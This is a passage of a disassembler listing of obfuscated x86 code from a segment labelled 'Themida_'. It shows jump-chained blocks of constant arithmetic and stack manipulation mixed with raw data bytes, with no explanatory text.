		dd 0FF40B4E9h, 0E78957FFh, 4FF6BB53h, 40E95D5Eh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570FF7:				; CODE XREF: Themida_:0056D2AAj
		mov	ebx, 1542419Bh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 8
		dec	edi
		push	eax
		jmp	loc_57166A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 0E9241C89h, 0FFFF3119h
; ---------------------------------------------------------------------------

loc_571020:				; CODE XREF: Themida_:00570DD4j
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 483C2C51h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2255599Fh
		sub	ebx, esi
		pop	esi
		xchg	edx, ebx
		jmp	loc_571591
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 6F14591Dh, 5D07F181h, 0CD29A89Fh, 1DDDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57106A:				; CODE XREF: Themida_:005609EFj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		not	edi
		xor	[esp], edi
		jmp	loc_5708AE
; ---------------------------------------------------------------------------
		db 68h,	66h, 15h
		dd 14890000h, 148B5424h, 4C48324h, 8904EC83h, 468241Ch
		dd 8B000000h, 0C483241Ch, 0F9EA8104h, 0E91E5279h, 0FFFF656Ah
		dd 8904EC83h, 14F7243Ch, 0A8E95F24h, 50FFFFE7h,	0C630D2B0h
		dd 5AF48858h, 0FFDD13E9h, 24048FFFh, 4021685Ch,	4890000h
		dd 0C77FE924h, 4768FFFEh, 8900004Ch, 0E2892414h, 0FF163DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5710FD:				; CODE XREF: Themida_:005697E9j
		push	4BE3h
		mov	[esp], ebx
		mov	ebx, 3093118h
		push	ebx
		mov	ebx, 1F5E365Eh
		push	ebx
		jmp	loc_56A9F0
; ---------------------------------------------------------------------------

loc_571116:				; CODE XREF: Themida_:00561D48j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_569953
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 81241C8Bh, 4C4h, 0E9D30000h, 0FFFF7418h, 5724148Bh
		dd 0FFF2ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571149:				; CODE XREF: Themida_:00565AF7j
		mov	esi, ecx
		pop	ecx
		mov	ebp, [esp]
		push	ebp
		jmp	loc_56EF00
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0CDh
		dd 81235027h, 0C93ED6F1h, 59CE2990h, 79A6BF57h,	0F7577F20h
		dd 0E95F241Ch, 0FFFF56A4h, 1300F381h, 0E3C14045h, 0DADAE906h
		dd 0C483FFFEh, 13E3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_57118A:				; CODE XREF: Themida_:00562D43j
		push	esi
		push	ebp
		push	edx
		mov	edx, 53A95F00h
		mov	ebp, edx
		pop	edx
		push	eax
		mov	eax, ebp
		push	eax
		jmp	loc_566D35
; ---------------------------------------------------------------------------

loc_57119E:				; CODE XREF: Themida_:00560290j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56545F
; ---------------------------------------------------------------------------

loc_5711AC:				; CODE XREF: Themida_:00569BEFj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 31h,	0F3h, 0F7h
		dd 31F381D3h, 29159993h, 0C6015BDEh, 0A0B68h, 242C8900h
		dd 0DE42F1BDh, 5DEE014Eh, 24348758h, 401665Ch, 0BDE99C24h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5711EB:				; CODE XREF: Themida_:0056DCC9j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56573B
; ---------------------------------------------------------------------------

loc_5711F6:				; CODE XREF: Themida_:005721FDj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 15A106DCh
		push	edx
		push	3EFF7AEEh
		pop	edx
		shr	edx, 2
		add	edx, 0BE52D0Dh
		mov	ecx, edx
		pop	edx
		sub	ecx, eax
		jmp	loc_565242
; ---------------------------------------------------------------------------

loc_57121B:				; CODE XREF: Themida_:00562FADj
		mov	edx, 50BB2D01h
		xor	ecx, edx
		jmp	loc_56F2C9
; ---------------------------------------------------------------------------
		db 89h
		dd 953AE9CBh, 15BFFFFh,	0BA5259CEh, 4, 2247EE81h, 0C68166F2h
		dd 5E352B1Bh, 0FFC6F2E9h, 0E9B0B6FFh, 0FFFF6E06h, 4C681h
		dd 34870000h, 565A5C24h, 42474FFh, 0FED7FEE9h, 0EA295DFFh
		dd 0E9F2015Dh, 0FFFFA027h
; ---------------------------------------------------------------------------

loc_571270:				; CODE XREF: Themida_:0056D0A9j
		push	edx
		mov	dh, 0C3h
		add	dh, 7
		add	dh, 9Dh
		xor	dh, 0D7h
		add	al, dh
		pop	edx
		push	dword ptr [esp]
		jmp	loc_563876
; ---------------------------------------------------------------------------
		db 55h
		dd offset dword_49005C+1361h
		dd 8BEE093Bh, 0E950242Ch, 0FFFF3585h, 0E9241C8Bh, 0FFFF22CCh
; ---------------------------------------------------------------------------

loc_5712A0:				; CODE XREF: Themida_:00566D90j
		push	edi
		jmp	loc_560E02
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 24048B3Ch, 0C9DE9h, 23166800h, 0C15E5838h, 0BA5208EEh
		dd 4CE866C3h, 815AD629h, 0ADA4C3EEh, 5EF58999h,	0C15DE989h
		dd 0E1C104E9h, 55E9D107h, 0FEEEF1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5712DD:				; CODE XREF: Themida_:0056648Fj
		pop	eax
		pop	edx
		push	eax
		jmp	loc_56B0F9
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 31241C33h, 1C33241Ch, 24248B24h, 0B8240489h,	4, 0FFA0C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571301:				; CODE XREF: Themida_:00567890j
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ebx, 796227D3h
		add	ebx, edx
		add	ebx, 796227D3h
		push	dword ptr [esp]
		jmp	loc_55ED90
; ---------------------------------------------------------------------------
		db 0BEh
		dd 730709B9h, 1B5BF681h, 0F02944CCh, 631B2D5Eh,	34FF34FEh
		dd 24348B24h, 4C481h, 0C4830000h, 5B545304h, 0FF98FAE9h
		dd 4B685CFFh, 0E9000001h, 0FFFF5BA7h, 5BB2C281h, 0EA814D20h
		dd 4D30365Bh, 575AD501h, 0C781E789h, 4,	4EF81h,	3C870000h
		dd 4895C24h, 4B824h, 0ED810000h, 6A927EC9h, 4528C581h
		dd 0C50119E8h, 4528ED81h, 0E95119E8h, 0FFFF6A40h
; ---------------------------------------------------------------------------

loc_5713B0:				; CODE XREF: Themida_:005693D8j
		xor	edi, 1BC31A13h
		add	eax, edi
		jmp	loc_568970
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 34h
		dd 4C48324h, 4B951h, 0CE010000h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56A7FC
; ---------------------------------------------------------------------------

loc_5713E1:				; CODE XREF: Themida_:0055F4B1j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_563565
; ---------------------------------------------------------------------------

loc_5713EC:				; CODE XREF: Themida_:00570AD1j
		xor	cl, 0C2h
		xor	cl, 6Bh
		jmp	loc_5619F2
; ---------------------------------------------------------------------------

loc_5713F7:				; CODE XREF: Themida_:00564470j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56F4D7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFFA97h, 56242489h, 4BEh, 24740100h
		dd 0CDB8E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_571426:				; CODE XREF: Themida_:005681D3j
		pop	edx
		push	eax
		jmp	loc_55FADA
; ---------------------------------------------------------------------------

loc_57142D:				; CODE XREF: Themida_:0056ED7Bj
		not	esi
		xchg	esi, ebp
		push	edx
		mov	edx, 1
		add	ebp, 378878CAh
		add	ebp, edx
		jmp	loc_5662E5
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0A62C04C4h, 0FECE40E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571451:				; CODE XREF: Themida_:0056CDF4j
		add	eax, 4
		push	esi
		jmp	loc_561D13
; ---------------------------------------------------------------------------
		dd 0DC3EE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_571462:				; CODE XREF: Themida_:0056A7DDj
		add	eax, edx
		push	esi
		mov	esi, 31281C5Fh
		jmp	loc_564EF2
; ---------------------------------------------------------------------------
		dd offset dword_445750+9718h
		align 4
		dd 0E9240C89h, 0FFFEE9BFh, 2C0AF181h, 0E9813005h, 0DF78D52Ch
		dd 159C889h, 2C3358C5h,	242C3124h, 8B242C33h, 8B662424h
		dd 5750240Ch, 0FF4FCEE9h, 0E9C361FFh, 0FFFF45D4h, 48BC101h
		dd 0C88EE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5714B6:				; CODE XREF: Themida_:005604E6j
		or	esi, 26405906h
		jmp	loc_561CA2
; ---------------------------------------------------------------------------
		db 5Fh,	4Fh, 50h
		dd 193B2FB8h, 60E90563h, 64E9518Ch, 81FFFF7Ch, 0F75119C5h
		dd 81F50158h, 0F75119EDh, 0D95DE958h, 48BFFFFh,	800E924h
		dd 36BDFFFFh, 3108963Eh, 24348BF5h, 4C481h, 0E5C10000h
		db 8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564859
; ---------------------------------------------------------------------------
		dd 6FD46853h, 815B35FBh, 9C5CC8CBh, 0E770E935h,	4481FFFFh
		dd 12F90424h, 0E95B61D9h, 0FFFF9536h, 5B59C581h, 81456641h
		dd 0AC70F8C5h, 5DEB0139h, 0E904C383h, 0FFFF2CD7h
; ---------------------------------------------------------------------------

loc_571554:				; CODE XREF: Themida_:005619B7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56BFD5
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB590DE9h, 54E95A4Fh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57156F:				; CODE XREF: Themida_:00562B33j
		mov	[esp], esi
		push	0FFFFFFFFh
		jmp	loc_5678BE
; ---------------------------------------------------------------------------
		dd 0B0240489h, 7E0C04Bh, 0E0D0C724h, 5166080Ch,	0FFBAF4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571591:				; CODE XREF: Themida_:00571051j
		not	edx
		jmp	loc_564838
; ---------------------------------------------------------------------------
		dd 5AF12059h, 8FB45066h, 0FF6BFDE9h, 0E9505CFFh, 0FFFED207h
		dd 56535954h, 251C9668h, 51B1E923h, 0EA81FFFFh,	3CE9301Fh
		dd 0FFAFFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5715C5:				; CODE XREF: Themida_:00571E54j
		pop	edx
		jmp	loc_55EC30
; ---------------------------------------------------------------------------

loc_5715CB:				; CODE XREF: Themida_:00560908j
		sub	esp, 4
		jmp	loc_56C98B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0EA69E924h, 5358FFFEh, 414348BBh,	0DDA5E97Ah
		dd 0EA80FFFFh, 0E9CA007Bh, 0FFFF6A41h, 0E95DEB29h, 0FFFEE181h
		dd 5EC3E981h, 2C8B6262h, 4EC8124h, 89000000h, 0E589242Ch
		dd 4C581h, 0C5830000h, 242C8704h, 240C335Ch, 33240C31h
		dd 665C240Ch, 8124048Bh, 4ECh, 241C8900h, 0C381E389h, 4
		dd 55D16850h, 3C890000h, 38F9E924h, 7C29FFFFh, 3C8B0824h
		dd 4C48324h, 6756BD55h,	6C29373Eh, 15D0824h, 53042444h
		dd 2D2E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57166A:				; CODE XREF: Themida_:0057100Cj
		push	ebx
		jmp	loc_56C209
; ---------------------------------------------------------------------------

loc_571670:				; CODE XREF: Themida_:00562A8Ej
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_568CCA
; ---------------------------------------------------------------------------

loc_57167A:				; CODE XREF: Themida_:00569AC6j
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5603CE
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 81000000h,	147F61C7h, 81D70169h, 4ECh, 242C8900h
		dd 0FF4BC5E9h, 545659FFh, 0E924348Bh, 0FFFF31E2h, 0BB535954h
		dd 4, 160E981h,	0D9010A01h, 160C181h, 815B0A01h, 4ECh
		dd 24148900h, 4BAh, 82E98100h, 15E3E0Eh, 82C181D1h, 0E95E3E0Eh
		dd 0FFFF39E1h
; ---------------------------------------------------------------------------

loc_5716EC:				; CODE XREF: Themida_:0055F2B9j
		pop	ebx
		jmp	loc_5615D2
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 0AA1DC3BEh, 0D3FFE930h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5716FE:				; CODE XREF: Themida_:0056D86Bj
		add	ebx, 31DB7669h
		add	ebx, 743E68B5h
		sub	ebx, ecx
		sub	ebx, 743E68B5h
		jmp	loc_5621A8
; ---------------------------------------------------------------------------
		db 89h
		dd 0B1E9242Ch, 47FFFF5Dh, 0FFD17DE9h, 242489FFh, 4240481h
		dd 5F000000h, 1D0F68h, 242C8900h, 50E06850h, 8E938E0h
		dd 0BAFFFF85h, 0D7F6FA1h, 76E9C231h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_57174F:				; CODE XREF: Themida_:0056138Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, 0C1h
		jmp	loc_566A87
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 8324248Bh, 148904ECh, 38B15124h, 0C28094B2h,	80CA0081h
		dd 0C8B81EAh, 9CF2E924h, 0E958FFFFh, 0FFFFCE8Bh, 9C241CF7h
		dd 0FEC0D4E9h, 243C87FFh, 0FBF2E95Ch, 0C288FFFEh, 0E924048Bh
		dd 0FFFF0D81h
; ---------------------------------------------------------------------------

loc_5717AC:				; CODE XREF: Themida_:00565651j
		mov	[esp], esi
		push	ecx
		jmp	loc_564319
; ---------------------------------------------------------------------------
		db 66h,	0BAh, 3Fh
		dd 8966555Bh, 0E98966D5h, 0FF1F15E9h, 0F7665CFFh, 3E1768F9h
		dd 2C890000h, 68E58924h, 6FB8h,	55240489h, 406FCABDh, 970BB813h
		dd 7EE90860h, 0C1FFFF93h, 0E95302E2h, 0FFFF6383h, 0C0E9DF87h
		dd 0BDFFFEEAh, 625617D6h, 815DEB31h, 4ECh, 241C8900h, 0CDE95B5Eh
		dd 81FFFF60h, 0FAEBF5C1h, 0F029E93Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57181E:				; CODE XREF: Themida_:0056AFD6j
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4B6D27EAh
		shr	ebp, 3
		sub	ebp, 0FFFFFFFFh
		and	ebp, 380272CBh
		inc	ebp
		jmp	loc_570369
; ---------------------------------------------------------------------------

loc_57183E:				; CODE XREF: Themida_:00562958j
					; Themida_:0056A374j
		push	ebx
		push	ebx
		jmp	loc_560F31
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0C58DE924h, 6851FFFEh, 3725h, 81242489h, 4ECh, 24148900h
		dd 4BAh, 24448100h, 0E1BDD04h, 24540125h, 38D3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_571876:				; CODE XREF: Themida_:005702B1j
		mov	[esp], edi
		jmp	loc_56F5DF
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 81000000h, 6E4365C2h, 0C448E911h, 83ADFFFFh,	0F00207Fh
		dd 0FFFAC984h, 0BDB850FFh, 536A44Ah, 0FFFFFFFFh, 0C102E8C1h
		dd 0E13505E0h, 81FB0642h, 432B54C6h, 51AE96Ah, 8952FFFFh
		dd 4C281E2h, 68000000h,	4CE1h, 0B8240489h, 4, 2E34EA81h
		dd 0C201198Bh, 2E34C281h, 3358198Bh, 0D6E92414h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5718E7:				; CODE XREF: Themida_:0055D87Aj
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_56A7E2
; ---------------------------------------------------------------------------

loc_5718F0:				; CODE XREF: Themida_:005614DAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56F322
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0E7895724h, 4B951h, 83E90000h, 89FFFF73h
		dd 43B9240Ch, 0C1291260h, 0C98106E9h, 59070828h, 7C42C981h
		dd 0E9810F1Eh, 7F8D2DCCh, 0FF9B87E9h, 77F581FFh, 0F77C7C1Ch
		dd 33E581DDh, 8177DB62h, 8B1FFEEDh, 0D858E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57194A:				; CODE XREF: Themida_:0056B1CDj
		pop	ebx
		push	ebx
		jmp	loc_56DC27
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 72A46855h, 0C15D5BFAh, 814505EDh, 1C0E0CEDh,	0C6680Fh
		dd 34890000h, 9AE0BE24h, 0A8E9EDBFh, 8BFFFEE5h,	4E92404h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57197F:				; CODE XREF: Themida_:00570C28j
		xor	[esp], esi
		push	54CDh
		mov	[esp], esi
		xchg	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_56BF04
; ---------------------------------------------------------------------------
		db 57h
		dd 43124BFh, 0EBC581DEh, 1490E42h, 0EBED81FDh, 8B490E42h
		dd 0CBE9243Ch, 1FFFF18h, 6FC381D3h, 8B432317h, 0C4812414h
		dd 4, 4EC81h, 0C890000h, 46FFE924h, 0CF81FFFFh,	37B407F2h
		dd 0FF07DAE9h, 4C483FFh, 0FF9274E9h, 665B66FFh,	6607E2C1h
		dd 59FAEA81h, 1C28166h,	7909E900h, 10B1FFFFh, 0D1F6D1F6h
		dd 0FF66B8E9h, 4C481FFh, 56000000h, 263BBE56h, 6C810669h
		dd 20340424h, 67E92FC6h, 81FFFF26h, 0F3F404C1h,	20C781C3h
		dd 296B2A25h, 32ABE9CFh, 0C380FFFFh, 21C38016h,	0FF7C20E9h
		dd 4E6C0FFh, 0C680DEF6h, 0E9F12844h, 0FFFF04C4h, 0BF57h
		dd 0D7290000h, 0F75FFA89h, 0F2814ADAh, 0BF86AECh, 0FF9DC2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571A8D:				; CODE XREF: Themida_:005651C0j
		mov	ebx, esp
		jmp	loc_5662B1
; ---------------------------------------------------------------------------

loc_571A94:				; CODE XREF: Themida_:005701D3j
		add	eax, edi
		sub	eax, 1D193906h
		pop	edi
		movzx	ax, byte ptr [eax]
		push	small 1F72h
		mov	[esp], ax
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 0BEh, 0B7h, 10h
		dd 0E6C15212h, 0AAEE8106h, 57433F27h, 3F3DE2BFh, 1CF8146h
		dd 81735207h, 7E2F73CFh, 0EFC14F74h, 0EBC78108h, 8172E126h
		dd 406C4DEFh, 0DA7DE90Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_571AE2:				; CODE XREF: Themida_:0056D8EFj
		push	ebp
		mov	ebp, 34FB6936h
		sub	ebp, 346FBE2h
		sub	edx, ebp
		pop	ebp
		add	edx, 72DD3297h
		sub	edx, ebx
		sub	edx, 72DD3297h
		add	edx, 31B46D54h
		sub	edx, 246B35B6h
		jmp	loc_56E3C5
; ---------------------------------------------------------------------------
		dd 4C481h, 0E8010000h, 1457FE2Dh, 0E8295D43h, 58FE957h
		dd 0C380FFFFh, 101968D9h, 4890000h, 9636824h, 1C890000h
		dd 0B4D5B724h, 0C08CE9FEh, 0EC81FFFEh, 4, 0FFAF50E9h, 10E981FFh
		dd 8167DC24h, 0F23533C1h, 0E9815E29h, 2C53C324h, 0C8BC831h
		dd 0D040E924h, 0B2B9FFFFh, 102D96Ch, 0D60159CEh, 6CB2EE81h
		dd 875A02D9h, 575C2434h, 0C781E789h, 4,	5DFF68h, 241C8900h
		dd 4BBh, 0E9DF0100h, 0FFFF472Ch, 0C37DE95Dh, 0FD01FFFFh
		dd 74FF555Fh, 22E90424h, 52FFFFDDh, 0D000D8B2h,	5B822C5Ah
		dd 7FE9C788h, 29FFFFD9h, 685659CDh, 6F2Bh, 0FFD824E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571BCD:				; CODE XREF: Themida_:0056E13Fj
		xor	ebx, 9054CA1h
		xor	ebx, 1F993A99h
		sub	ebx, 760968E6h
		add	ebp, ebx
		pop	ebx
		jmp	loc_56268C
; ---------------------------------------------------------------------------
		db 68h
		dd 61E5h, 0BA241489h, 6A7698D2h, 0FF8208E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571BF9:				; CODE XREF: Themida_:00568F9Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_562CD0
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 875DEB01h,	248B241Ch, 0C27DE924h, 5066FFFEh
		dd 88FFB252h, 0E2285AD4h, 24048B66h, 0E902C483h, 0FFFEC9AFh
		dd 0DFC28159h, 5920A563h, 79D768h, 24348900h, 4BEh, 0C5EA8100h
		dd 2916BB23h, 0C5C281F2h, 8B16BB23h, 0FF682434h, 89000047h
		dd 7DE92414h, 81FFFF9Bh, 4EDh, 242C8700h, 242C895Ch, 0DD302668h
		dd 0ED835D72h, 0BA524D01h, 204F67B6h, 8107EAC1h, 0A177D0C2h
		dd 5AD52979h, 1981ED81h, 0EE89F8FBh, 0FFA81EE9h, 242489FFh
		dd 0FF4BD3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571C9D:				; CODE XREF: Themida_:0055EA76j
		shr	ebp, 8
		neg	ebp
		push	edi
		push	eax
		mov	eax, 703138ADh
		mov	edi, eax
		pop	eax
		shl	edi, 2
		jmp	loc_564E74
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFF2308h
; ---------------------------------------------------------------------------

loc_571CC4:				; CODE XREF: Themida_:00563F20j
		sub	esi, 566372DAh
		jmp	loc_5647E8
; ---------------------------------------------------------------------------

loc_571CCF:				; CODE XREF: Themida_:0055E2DBj
		add	esi, 4
		push	edi
		push	4
		pop	edi
		jmp	loc_562A0E
; ---------------------------------------------------------------------------
		db 1, 0D3h, 0E9h
		dd 0FFFF6D5Eh, 661C181h, 1C8B650Ah, 4C48324h, 0FF7278E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571CF9:				; CODE XREF: Themida_:00567A98j
		sub	ebp, edx
		jmp	loc_55DC35
; ---------------------------------------------------------------------------
		dd 7E9DE01h, 89FFFF1Ch,	20BB241Ch, 8140DD0Bh, 4ECh, 24148900h
		dd 4C685651h, 5E5D8D14h, 7E4CC681h, 0E68123C3h,	71A23E3Ch
		dd 9FA0EE81h, 0F189E082h, 7013BA5Eh, 0CA315127h, 678E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_571D42:				; CODE XREF: Themida_:00562943j
		mov	edx, 61AB5A6Ch
		mov	ebx, edx
		pop	edx
		and	edx, ebx
		pop	ebx
		push	3097h
		mov	[esp], ecx
		mov	ecx, 74FA6E3Eh
		sub	ecx, 752E787Dh
		jmp	loc_5674C9
; ---------------------------------------------------------------------------
		db 0E9h, 3, 0BBh
		dd 1B0FFFEh, 0E958C328h, 0FFFF8E7Ah, 5607E5C1h,	0CA46EEBEh
		dd 81DEF71Dh, 7C6CDBEEh, 39C68128h, 0F778F063h,	9DF681D6h
		dd 1D9B337h, 0ED815EF5h, 603A0C54h, 22E7CD81h, 0C5813A20h
		dd 7BBA4DE5h, 57CDB951h, 0D9F7459Bh, 0F5AF181h,	0CD29B4C7h
		dd 5DEB2959h, 0E95BD831h, 0FFFEFDC7h, 5C24048Fh, 0FF4883E9h
		dd 5DEA01FFh, 4BD55h, 0EA010000h, 83242C8Bh, 148704C4h
		dd 24248B24h, 0FEBA84E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571DE9:				; CODE XREF: Themida_:0056FDE8j
		xchg	esi, [esp]
		pop	esp
		xor	ecx, [esp]
		jmp	loc_56AF17
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 66EA68h, 24148900h, 0C4D8E956h, 0C381FFFFh, 0A635F7B1h
		dd 295BDF01h, 0FAEF81DFh, 0FF213D73h, 525B2434h, 0E1E9E289h
		dd 50FFFED8h, 0FFEF61E9h, 243433FFh, 33243431h,	79E92434h
		dd 55FFFFA0h, 4BB53h, 0DD890000h, 0E9241C8Bh, 0FFFFD4C6h
; ---------------------------------------------------------------------------

loc_571E4C:				; CODE XREF: Themida_:0056E1FEj
		push	edx
		mov	edx, 3C84023h
		add	ebx, edx
		jmp	loc_5715C5
; ---------------------------------------------------------------------------

loc_571E59:				; CODE XREF: Themida_:00565C41j
					; Themida_:00566DCAj ...
		sub	esp, 4
		jmp	loc_562717
; ---------------------------------------------------------------------------

loc_571E61:				; CODE XREF: Themida_:00568B90j
		pop	ebx
		push	ebx
		push	edx
		mov	dh, 0F1h
		mov	bh, 4
		sub	bh, dh
		mov	edx, [esp]
		jmp	loc_569261
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFEE456h
; ---------------------------------------------------------------------------

loc_571E78:				; CODE XREF: Themida_:005640DAj
		pop	ebx
		push	esi
		mov	esi, 4AAA41A5h
		xor	esi, 0ABC5F92h
		jmp	loc_568777
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 4EC8304h, 0FF243C89h, 0E9042474h, 0FFFF9915h
; ---------------------------------------------------------------------------

loc_571E9C:				; CODE XREF: Themida_:0056C95Bj
		push	ecx
		mov	ecx, 396E4E7Fh
		neg	ecx
		sub	ecx, 0AD5570F9h
		sub	esi, 7696432Ah
		add	esi, ecx
		add	esi, 7696432Ah
		jmp	loc_56F80A
; ---------------------------------------------------------------------------
		db 5Fh,	0FFh, 34h
		dd 8643E924h, 0D001FFFFh, 0FFC79AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_571ECD:				; CODE XREF: Themida_:0056BFC4j
		xor	[esp+4], edx
		pop	edx
		jmp	loc_562752
; ---------------------------------------------------------------------------

loc_571ED7:				; CODE XREF: Themida_:0056224Cj
		mov	ecx, 2CA14D86h
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_56699D
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 3
		dd 0C104E3C1h, 0EB8106EBh, 33F91D0h, 0FEDB5EE9h, 0E5B850FFh
		dd 0F752912Bh, 0D0635D8h, 0E8C110CAh, 7C380503h, 0C701F8E0h
		dd 2EFC158h, 4F9E6851h,	0CBE90000h, 89FFFED8h, 4C781E7h
		dd 0E9000000h, 0FFFF14F2h, 2155B850h, 0C2897AF0h, 5AD50158h
		dd 4B92BA52h, 0D729448Bh, 512FE95Ah, 0D968FFFFh, 0E9000008h
		dd 0FFFF83B4h, 4EE95366h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_571F5F:				; CODE XREF: Themida_:00567B18j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_565FBE
; ---------------------------------------------------------------------------
		dd 0E581D5F7h, 78615D2Ch, 5DF5C581h, 0FE96339h,	89FFFFA8h
		dd 5B68240Ch, 0E9000021h, 0FFFF6018h
; ---------------------------------------------------------------------------

loc_571F88:				; CODE XREF: Themida_:0056D536j
		push	dword ptr [ebx]
		push	10C8h
		mov	[esp], ebp
		mov	ebp, 10BE07EEh
		xor	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_564241
; ---------------------------------------------------------------------------
		dd 0A3261DB8h, 59C801FBh, 0AD3072BBh, 0C9F2E9FFh, 0C481FFFFh
		dd 4, 0E95DE889h, 0FFFFF77Fh
; ---------------------------------------------------------------------------

loc_571FC4:				; CODE XREF: Themida_:00563D69j
		or	edx, 38122129h
		dec	edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_56F85E
; ---------------------------------------------------------------------------

loc_571FDE:				; CODE XREF: Themida_:005634E4j
		add	esp, 4
